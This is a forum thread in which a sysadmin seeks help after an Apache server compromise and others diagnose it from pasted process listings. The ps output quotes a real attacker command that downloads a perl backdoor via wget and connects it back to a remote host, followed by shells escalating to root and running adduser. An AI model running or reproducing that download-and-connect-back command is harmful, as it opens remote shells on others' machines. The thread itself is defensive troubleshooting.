Apache got hacked. Need help

[immigrant]

Ok here is a snippet of my ps -AH x

root      8769  0.0  0.3 201012 11508 ?        Ss   Jul22  12:18   /usr/sbin/apache2 -k start
www-data 12996  0.0  0.2 201148  7504 ?        S    Sep03   0:00     /usr/sbin/apache2 -k start
www-data 13294  0.0  0.0   3944   564 ?        S    Sep03   0:00       sh -c cd /dev/shm;wget sip.geostarcom.com/phpmyadmin/cb.txt;perl cb.txt thor.weru.ksu.edu 8080
www-data 13296  0.0  0.0  25404  2740 ?        S    Sep03   0:00         perl cb.txt thor.weru.ksu.edu 8080
www-data 13297  0.0  0.0   3944   572 ?        S    Sep03   0:00           sh -c echo "`uname -a`";echo "`id`";/bin/sh
www-data 13300  0.0  0.0   3944   580 ?        S    Sep03   0:00             /bin/sh
www-data 13700  0.0  0.0   3944   564 ?        S    Sep03   0:00               sh
www-data 13703  0.0  0.0   3944   560 ?        S    Sep03   0:00                 sh
www-data 14061  0.0  0.0   3944   572 ?        S    Sep03   0:00                   sh
www-data 14153  0.0  0.0   3944   596 ?        S    Sep03   0:00                     sh
www-data 14189  0.0  0.0   3944   572 ?        S    Sep03   0:00                       sh
www-data 15627  0.0  0.0   3944   564 ?        S    Sep03   0:00                         sh
www-data 15640  0.0  0.0   3944   564 ?        S    Sep03   0:00                           sh
root     15645  0.0  0.0   3944   564 ?        S    Sep03   0:00                             sh
root     15648  0.0  0.0  31260  1164 ?        S    Sep03   0:00                               su root
root     15649  0.0  0.0  10168  1328 ?        S    Sep03   0:00                                 bash
root     15805 13.2  0.1  37704  5532 ?        R    Sep03 669:21                                   adduser
root     15808  0.0  0.0      0     0 ?        Z    Sep03   0:00                                     [sh] <defunct>
www-data 18464  0.0  0.2 201012  6216 ?        S    01:25   0:00     /usr/sbin/apache2 -k start
www-data  9357  0.0  0.2 201152  7388 ?        S    01:26   0:00     /usr/sbin/apache2 -k start
www-data 23248  0.0  0.2 201152  7388 ?        S    01:27   0:00     /usr/sbin/apache2 -k start
www-data 24479  0.0  0.2 201144  7392 ?        S    01:27   0:00     /usr/sbin/apache2 -k start
www-data  5511  0.0  0.2 203368  8844 ?        S    01:27   0:00     /usr/sbin/apache2 -k start
www-data 24802  0.0  0.2 201012  6268 ?        S    01:28   0:00     /usr/sbin/apache2 -k start
www-data 22050  0.0  0.2 201152  7440 ?        S    01:30   0:00     /usr/sbin/apache2 -k start
www-data 22356  0.0  0.2 201152  7376 ?        S    01:30   0:00     /usr/sbin/apache2 -k start
www-data 13247  0.0  0.2 201144  7400 ?        S    01:31   0:00     /usr/sbin/apache2 -k start
www-data 13248  0.0  0.2 201012  6220 ?        S    01:31   0:00     /usr/sbin/apache2 -k start
www-data 13559  0.0  0.2 203224  8808 ?        S    01:31   0:00     /usr/sbin/apache2 -k start
www-data 13561  0.0  0.2 201012  6216 ?        S    01:31   0:00     /usr/sbin/apache2 -k start
www-data 13562  0.0  0.2 201144  7380 ?        S    01:31   0:00     /usr/sbin/apache2 -k start
www-data 27328  0.0  0.2 201012  6252 ?        S    01:32   0:00     /usr/sbin/apache2 -k start
www-data 27635  0.0  0.2 201152  7364 ?        S    01:32   0:00     /usr/sbin/apache2 -k start

Take a look at the bold lines in the snippet. Process 8769 simply forks a bunch of apache2 processes like (12996, 18464, 9357, 23248 etc.). Apache runs in prefork for what it's worth:

<IfModule mpm_prefork_module>
    StartServers          5
    MinSpareServers       5
    MaxSpareServers      10
    MaxClients          150
    MaxRequestsPerChild   0
</IfModule>

My question is how the hell is process 12996 forking process 13294. In other words how is that apache process able to run that sh command?

I would appreciate any clues.


Thank you.

[unspawn]

Ok here is a snippet of my ps -AH x

Yeah, saw you post it (and receive replies) in another forum...

My question is how the hell is process 12996 forking process 13294. In other words how is that apache process able to run that sh command?

It isn't Apache but what you run on top of it: forum software, web log, et cetera that provides the attacker with the means to execute commands. So. What do you run slash provide and what version is it at?

[immigrant]

Yeah they managed to upload a script that runs commands on the box to a directory that was world readable and writable. Still not sure how they uploaded the script perhaps through a vulnerability in apache. My version is Apache/2.2.8

[immigrant]

Another absolutely baffling thing is this

www-data 14189  0.0  0.0   3944   572 ?        S    Sep03   0:00                       sh
www-data 15627  0.0  0.0   3944   564 ?        S    Sep03   0:00                         sh
www-data 15640  0.0  0.0   3944   564 ?        S    Sep03   0:00                           sh
root     15645  0.0  0.0   3944   564 ?        S    Sep03   0:00                             sh

I certainly understand that a command running via a webpage will run under www-data, because that is what apache is running as. But how did it switch to root?

[unspawn]

Yeah they managed to upload a script that runs commands on the box to a directory that was world readable and writable. Still not sure how they uploaded the script perhaps through a vulnerability in apache. My version is Apache/2.2.8

Maybe it's a language barrier thing or you may have a reading problem but I said it isn't Apache but what you run on top of it.

[Zeroangel]

It would help if you were a little more specific. Which symptoms are telling you that your apache is hacked?

[unspawn]

Which symptoms are telling you that your apache is hacked?

Maybe you missed seeing one of his Apache children has spawned a shell.
Maybe you missed seeing this shell downloaded a backdoor script.
Maybe you missed seeing this backdoor script started a shell.
Maybe you missed seeing some of these shells run as root now.
Maybe you missed seeing one these shells ran the 'adduser' command as root.

So how much more symptoms would you actually need? With all due respect.